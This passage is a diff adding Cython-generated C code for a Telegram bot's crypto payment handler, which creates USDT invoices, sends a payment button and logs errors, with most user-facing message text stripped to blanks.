PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u__14); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__15); + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":231 + * await message.answer( + * text=f" {amount} .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * except Exception as e: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 231, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 231, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_reply_markup, __pyx_t_2) < 0) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":229 + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L17_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 229, __pyx_L9_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 229, __pyx_L9_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":221 + * ) + * + * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + } + + /* "handlers/payments/cryprobot_pay.py":213 + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto + * ) + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + } + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + goto __pyx_L14_try_end; + __pyx_L9_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/cryprobot_pay.py":233 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * else: + */ + __pyx_t_13 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_13) { + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_9, &__pyx_t_3) < 0) __PYX_ERR(0, 233, __pyx_L11_except_error) + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_v_e = __pyx_t_9; + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":234 + * ) + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * else: + * await message.answer(" . , :") + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_logger); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 234, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 234, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 234, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u__17, __pyx_t_8); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 234, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_15}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + + /* "handlers/payments/cryprobot_pay.py":233 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * else: + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L24; + } + __pyx_L23_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_13 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_13; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L11_except_error; + } + __pyx_L24:; + } + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L10_exception_handled; + } + goto __pyx_L11_except_error; + + /* "handlers/payments/cryprobot_pay.py":213 + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto + * ) + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + __pyx_L11_except_error:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + goto __pyx_L1_error; + __pyx_L10_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + __pyx_L14_try_end:; + } + + /* "handlers/payments/cryprobot_pay.py":201 + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount // RUB_TO_USDT <= 0: + */ + goto __pyx_L4; + } + + /* "handlers/payments/cryprobot_pay.py":236 + * logger.error(f" : {e}") + * else: + * await message.answer(" . , :") # <<<<<<<<<<<<<< + */ + /*else*/ { + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__33}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L29_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 236, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 236, __pyx_L1_error) + } + } + } + __pyx_L4:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":199 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_exists); + Py_CLEAR(p->__pyx_v_expected_hash); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_key_count); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_exists) { + e = (*v)(p->__pyx_v_exists, a); if (e) return e; + } + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_key_count) { + e = (*v)(p->__pyx_v_key_count, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct__process_callback_pay_cryptobot", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct__process_callback_pay_cryptobot", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_invoice); + 